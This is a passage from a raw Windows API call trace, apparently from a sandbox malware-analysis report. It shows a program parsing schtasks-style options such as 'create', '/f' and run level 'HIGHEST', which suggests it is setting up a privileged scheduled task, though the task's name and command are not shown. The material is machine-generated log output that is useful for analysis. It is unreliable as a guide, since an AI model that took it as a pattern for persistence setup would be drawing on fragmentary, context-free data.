out: _Buffer="|rl|") returned 4 [0088.377] lstrlenW (lpString="|sd|") returned 4 [0088.377] lstrlenW (lpString="|rl|") returned 4 [0088.377] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0088.377] SetLastError (dwErrCode=0x490) [0088.377] lstrlenW (lpString="ed") returned 2 [0088.377] lstrlenW (lpString="ed") returned 2 [0088.377] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.377] lstrlenW (lpString="rl") returned 2 [0088.377] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.377] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ed|") returned 4 [0088.377] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.377] lstrlenW (lpString="|ed|") returned 4 [0088.377] lstrlenW (lpString="|rl|") returned 4 [0088.377] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0088.377] SetLastError (dwErrCode=0x490) [0088.377] lstrlenW (lpString="it") returned 2 [0088.378] lstrlenW (lpString="it") returned 2 [0088.378] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.378] lstrlenW (lpString="rl") returned 2 [0088.378] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.378] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|it|") returned 4 [0088.378] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.378] lstrlenW (lpString="|it|") returned 4 [0088.378] lstrlenW (lpString="|rl|") returned 4 [0088.378] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0088.378] SetLastError (dwErrCode=0x490) [0088.378] lstrlenW (lpString="et") returned 2 [0088.378] lstrlenW (lpString="et") returned 2 [0088.378] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.378] lstrlenW (lpString="rl") returned 2 [0088.378] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.378] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|et|") returned 4 [0088.378] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.378] lstrlenW (lpString="|et|") returned 4 [0088.378] lstrlenW (lpString="|rl|") returned 4 [0088.378] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0088.378] SetLastError (dwErrCode=0x490) [0088.378] lstrlenW (lpString="k") returned 1 [0088.378] lstrlenW (lpString="k") returned 1 [0088.378] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.378] lstrlenW (lpString="rl") returned 2 [0088.378] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.379] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|k|") returned 3 [0088.379] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.379] lstrlenW (lpString="|k|") returned 3 [0088.379] lstrlenW (lpString="|rl|") returned 4 [0088.379] SetLastError (dwErrCode=0x490) [0088.379] lstrlenW (lpString="du") returned 2 [0088.379] lstrlenW (lpString="du") returned 2 [0088.379] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.379] lstrlenW (lpString="rl") returned 2 [0088.379] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.379] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|du|") returned 4 [0088.379] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.379] lstrlenW (lpString="|du|") returned 4 [0088.379] lstrlenW (lpString="|rl|") returned 4 [0088.379] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0088.379] SetLastError (dwErrCode=0x490) [0088.379] lstrlenW (lpString="ri") returned 2 [0088.379] lstrlenW (lpString="ri") returned 2 [0088.379] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.379] lstrlenW (lpString="rl") returned 2 [0088.379] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.379] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ri|") returned 4 [0088.379] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.379] lstrlenW (lpString="|ri|") returned 4 [0088.379] lstrlenW (lpString="|rl|") returned 4 [0088.379] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0088.380] SetLastError (dwErrCode=0x490) [0088.380] lstrlenW (lpString="z") returned 1 [0088.380] lstrlenW (lpString="z") returned 1 [0088.380] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.380] lstrlenW (lpString="rl") returned 2 [0088.380] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.380] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|z|") returned 3 [0088.380] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.380] lstrlenW (lpString="|z|") returned 3 [0088.380] lstrlenW (lpString="|rl|") returned 4 [0088.380] SetLastError (dwErrCode=0x490) [0088.380] lstrlenW (lpString="f") returned 1 [0088.380] lstrlenW (lpString="f") returned 1 [0088.380] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.380] lstrlenW (lpString="rl") returned 2 [0088.380] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.380] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.380] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.380] lstrlenW (lpString="|f|") returned 3 [0088.380] lstrlenW (lpString="|rl|") returned 4 [0088.380] SetLastError (dwErrCode=0x490) [0088.380] lstrlenW (lpString="v1") returned 2 [0088.380] lstrlenW (lpString="v1") returned 2 [0088.380] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] lstrlenW (lpString="rl") returned 2 [0088.381] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|v1|") returned 4 [0088.381] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.381] lstrlenW (lpString="|v1|") returned 4 [0088.381] lstrlenW (lpString="|rl|") returned 4 [0088.381] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0088.381] SetLastError (dwErrCode=0x490) [0088.381] lstrlenW (lpString="xml") returned 3 [0088.381] lstrlenW (lpString="xml") returned 3 [0088.381] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] lstrlenW (lpString="rl") returned 2 [0088.381] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|xml|") returned 5 [0088.381] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.381] lstrlenW (lpString="|xml|") returned 5 [0088.381] lstrlenW (lpString="|rl|") returned 4 [0088.381] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0088.381] SetLastError (dwErrCode=0x490) [0088.381] lstrlenW (lpString="ec") returned 2 [0088.381] lstrlenW (lpString="ec") returned 2 [0088.381] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] lstrlenW (lpString="rl") returned 2 [0088.381] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.381] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ec|") returned 4 [0088.381] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.381] lstrlenW (lpString="|ec|") returned 4 [0088.381] lstrlenW (lpString="|rl|") returned 4 [0088.381] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0088.382] SetLastError (dwErrCode=0x490) [0088.382] lstrlenW (lpString="rl") returned 2 [0088.382] lstrlenW (lpString="rl") returned 2 [0088.382] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.387] lstrlenW (lpString="rl") returned 2 [0088.387] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.387] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.387] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rl|") returned 4 [0088.387] lstrlenW (lpString="|rl|") returned 4 [0088.387] lstrlenW (lpString="|rl|") returned 4 [0088.387] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0088.387] SetLastError (dwErrCode=0x0) [0088.387] SetLastError (dwErrCode=0x0) [0088.387] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] lstrlenW (lpString="-/") returned 2 [0088.388] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0088.388] SetLastError (dwErrCode=0x490) [0088.388] SetLastError (dwErrCode=0x490) [0088.388] SetLastError (dwErrCode=0x0) [0088.388] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0088.388] SetLastError (dwErrCode=0x490) [0088.388] SetLastError (dwErrCode=0x0) [0088.388] _memicmp (_Buf1=0x10d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.388] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] lstrlenW (lpString=" \x09") returned 2 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0088.388] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0088.388] GetLastError () returned 0x0 [0088.388] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] lstrlenW (lpString="HIGHEST") returned 7 [0088.388] SetLastError (dwErrCode=0x0) [0088.388] SetLastError (dwErrCode=0x0) [0088.388] lstrlenW (lpString="/f") returned 2 [0088.388] lstrlenW (lpString="-/") returned 2 [0088.388] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.388] lstrlenW (lpString="create") returned 6 [0088.388] lstrlenW (lpString="create") returned 6 [0088.388] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.388] lstrlenW (lpString="f") returned 1 [0088.388] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.389] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|create|") returned 8 [0088.389] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.389] lstrlenW (lpString="|create|") returned 8 [0088.389] lstrlenW (lpString="|f|") returned 3 [0088.389] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0088.389] SetLastError (dwErrCode=0x490) [0088.389] lstrlenW (lpString="?") returned 1 [0088.389] lstrlenW (lpString="?") returned 1 [0088.389] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.389] lstrlenW (lpString="f") returned 1 [0088.389] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.389] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|?|") returned 3 [0088.389] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.389] lstrlenW (lpString="|?|") returned 3 [0088.389] lstrlenW (lpString="|f|") returned 3 [0088.389] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0088.389] SetLastError (dwErrCode=0x490) [0088.389] lstrlenW (lpString="s") returned 1 [0088.389] lstrlenW (lpString="s") returned 1 [0088.389] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.389] lstrlenW (lpString="f") returned 1 [0088.389] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.389] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|s|") returned 3 [0088.389] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.389] lstrlenW (lpString="|s|") returned 3 [0088.389] lstrlenW (lpString="|f|") returned 3 [0088.389] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0088.389] SetLastError (dwErrCode=0x490) [0088.389] lstrlenW (lpString="u") returned 1 [0088.389] lstrlenW (lpString="u") returned 1 [0088.389] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] lstrlenW (lpString="f") returned 1 [0088.390] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|u|") returned 3 [0088.390] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.390] lstrlenW (lpString="|u|") returned 3 [0088.390] lstrlenW (lpString="|f|") returned 3 [0088.390] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0088.390] SetLastError (dwErrCode=0x490) [0088.390] lstrlenW (lpString="p") returned 1 [0088.390] lstrlenW (lpString="p") returned 1 [0088.390] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] lstrlenW (lpString="f") returned 1 [0088.390] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|p|") returned 3 [0088.390] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.390] lstrlenW (lpString="|p|") returned 3 [0088.390] lstrlenW (lpString="|f|") returned 3 [0088.390] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0088.390] SetLastError (dwErrCode=0x490) [0088.390] lstrlenW (lpString="ru") returned 2 [0088.390] lstrlenW (lpString="ru") returned 2 [0088.390] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] lstrlenW (lpString="f") returned 1 [0088.390] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.390] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ru|") returned 4 [0088.390] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.390] lstrlenW (lpString="|ru|") returned 4 [0088.390] lstrlenW (lpString="|f|") returned 3 [0088.390] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0088.390] SetLastError (dwErrCode=0x490) [0088.391] lstrlenW (lpString="rp") returned 2 [0088.391] lstrlenW (lpString="rp") returned 2 [0088.391] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] lstrlenW (lpString="f") returned 1 [0088.391] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|rp|") returned 4 [0088.391] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.391] lstrlenW (lpString="|rp|") returned 4 [0088.391] lstrlenW (lpString="|f|") returned 3 [0088.391] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0088.391] SetLastError (dwErrCode=0x490) [0088.391] lstrlenW (lpString="sc") returned 2 [0088.391] lstrlenW (lpString="sc") returned 2 [0088.391] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] lstrlenW (lpString="f") returned 1 [0088.391] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sc|") returned 4 [0088.391] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.391] lstrlenW (lpString="|sc|") returned 4 [0088.391] lstrlenW (lpString="|f|") returned 3 [0088.391] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0088.391] SetLastError (dwErrCode=0x490) [0088.391] lstrlenW (lpString="mo") returned 2 [0088.391] lstrlenW (lpString="mo") returned 2 [0088.391] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] lstrlenW (lpString="f") returned 1 [0088.391] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.391] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|mo|") returned 4 [0088.391] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.391] lstrlenW (lpString="|mo|") returned 4 [0088.391] lstrlenW (lpString="|f|") returned 3 [0088.391] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0088.392] SetLastError (dwErrCode=0x490) [0088.392] lstrlenW (lpString="d") returned 1 [0088.392] lstrlenW (lpString="d") returned 1 [0088.392] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] lstrlenW (lpString="f") returned 1 [0088.392] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|d|") returned 3 [0088.392] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.392] lstrlenW (lpString="|d|") returned 3 [0088.392] lstrlenW (lpString="|f|") returned 3 [0088.392] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0088.392] SetLastError (dwErrCode=0x490) [0088.392] lstrlenW (lpString="m") returned 1 [0088.392] lstrlenW (lpString="m") returned 1 [0088.392] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] lstrlenW (lpString="f") returned 1 [0088.392] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|m|") returned 3 [0088.392] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.392] lstrlenW (lpString="|m|") returned 3 [0088.392] lstrlenW (lpString="|f|") returned 3 [0088.392] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0088.392] SetLastError (dwErrCode=0x490) [0088.392] lstrlenW (lpString="i") returned 1 [0088.392] lstrlenW (lpString="i") returned 1 [0088.392] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] lstrlenW (lpString="f") returned 1 [0088.392] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.392] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|i|") returned 3 [0088.392] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.392] lstrlenW (lpString="|i|") returned 3 [0088.393] lstrlenW (lpString="|f|") returned 3 [0088.393] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0088.393] SetLastError (dwErrCode=0x490) [0088.393] lstrlenW (lpString="tn") returned 2 [0088.393] lstrlenW (lpString="tn") returned 2 [0088.393] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] lstrlenW (lpString="f") returned 1 [0088.393] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tn|") returned 4 [0088.393] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.393] lstrlenW (lpString="|tn|") returned 4 [0088.393] lstrlenW (lpString="|f|") returned 3 [0088.393] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0088.393] SetLastError (dwErrCode=0x490) [0088.393] lstrlenW (lpString="tr") returned 2 [0088.393] lstrlenW (lpString="tr") returned 2 [0088.393] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] lstrlenW (lpString="f") returned 1 [0088.393] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|tr|") returned 4 [0088.393] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.393] lstrlenW (lpString="|tr|") returned 4 [0088.393] lstrlenW (lpString="|f|") returned 3 [0088.393] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0088.393] SetLastError (dwErrCode=0x490) [0088.393] lstrlenW (lpString="st") returned 2 [0088.393] lstrlenW (lpString="st") returned 2 [0088.393] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] lstrlenW (lpString="f") returned 1 [0088.393] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.393] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|st|") returned 4 [0088.394] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.394] lstrlenW (lpString="|st|") returned 4 [0088.394] lstrlenW (lpString="|f|") returned 3 [0088.394] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0088.394] SetLastError (dwErrCode=0x490) [0088.394] lstrlenW (lpString="sd") returned 2 [0088.394] lstrlenW (lpString="sd") returned 2 [0088.394] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.394] lstrlenW (lpString="f") returned 1 [0088.394] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.394] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|sd|") returned 4 [0088.394] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.394] lstrlenW (lpString="|sd|") returned 4 [0088.394] lstrlenW (lpString="|f|") returned 3 [0088.394] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0088.394] SetLastError (dwErrCode=0x490) [0088.394] lstrlenW (lpString="ed") returned 2 [0088.394] lstrlenW (lpString="ed") returned 2 [0088.394] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.394] lstrlenW (lpString="f") returned 1 [0088.394] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.394] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ed|") returned 4 [0088.394] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.394] lstrlenW (lpString="|ed|") returned 4 [0088.394] lstrlenW (lpString="|f|") returned 3 [0088.394] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0088.394] SetLastError (dwErrCode=0x490) [0088.394] lstrlenW (lpString="it") returned 2 [0088.394] lstrlenW (lpString="it") returned 2 [0088.394] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.394] lstrlenW (lpString="f") returned 1 [0088.394] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.395] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|it|") returned 4 [0088.395] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.395] lstrlenW (lpString="|it|") returned 4 [0088.395] lstrlenW (lpString="|f|") returned 3 [0088.395] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0088.395] SetLastError (dwErrCode=0x490) [0088.395] lstrlenW (lpString="et") returned 2 [0088.395] lstrlenW (lpString="et") returned 2 [0088.395] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.395] lstrlenW (lpString="f") returned 1 [0088.395] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.395] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|et|") returned 4 [0088.395] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.395] lstrlenW (lpString="|et|") returned 4 [0088.395] lstrlenW (lpString="|f|") returned 3 [0088.395] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0088.395] SetLastError 